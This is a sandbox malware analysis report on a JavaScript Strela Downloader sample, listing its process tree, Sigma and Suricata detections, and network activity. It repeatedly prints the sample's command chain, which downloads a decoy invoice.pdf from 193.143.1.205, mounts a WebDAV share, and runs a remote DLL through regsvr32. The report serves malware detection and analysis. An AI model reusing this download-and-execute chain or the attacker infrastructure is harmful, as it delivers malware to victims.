Edit tour

Windows Analysis Report
3039412363370818030.js

Overview

General Information

Sample name:	3039412363370818030.js
Analysis ID:	1588182
MD5:	9e61c32e7b7534fe9335e3013374f81b
SHA1:	4f590d3d65b47784a66dec9c99e16ba5c2cd0f36
SHA256:	c6a03206a24674367147512faa613721fd26ac337081d06301bd31993046acfc
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7788 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7880 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7924 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1804 --field-trial-handle=1664,i,16883546967039333588,5017798054370156047,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8132 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8160 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7788	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7924, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7924, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ProcessId: 7788, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8160, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ProcessId: 7788, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7924, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8160, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5512, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8160, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll, ProcessId: 7880, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:23:46.550945+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:23:43.863974+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3039412363370818030.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3039412363370818030.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

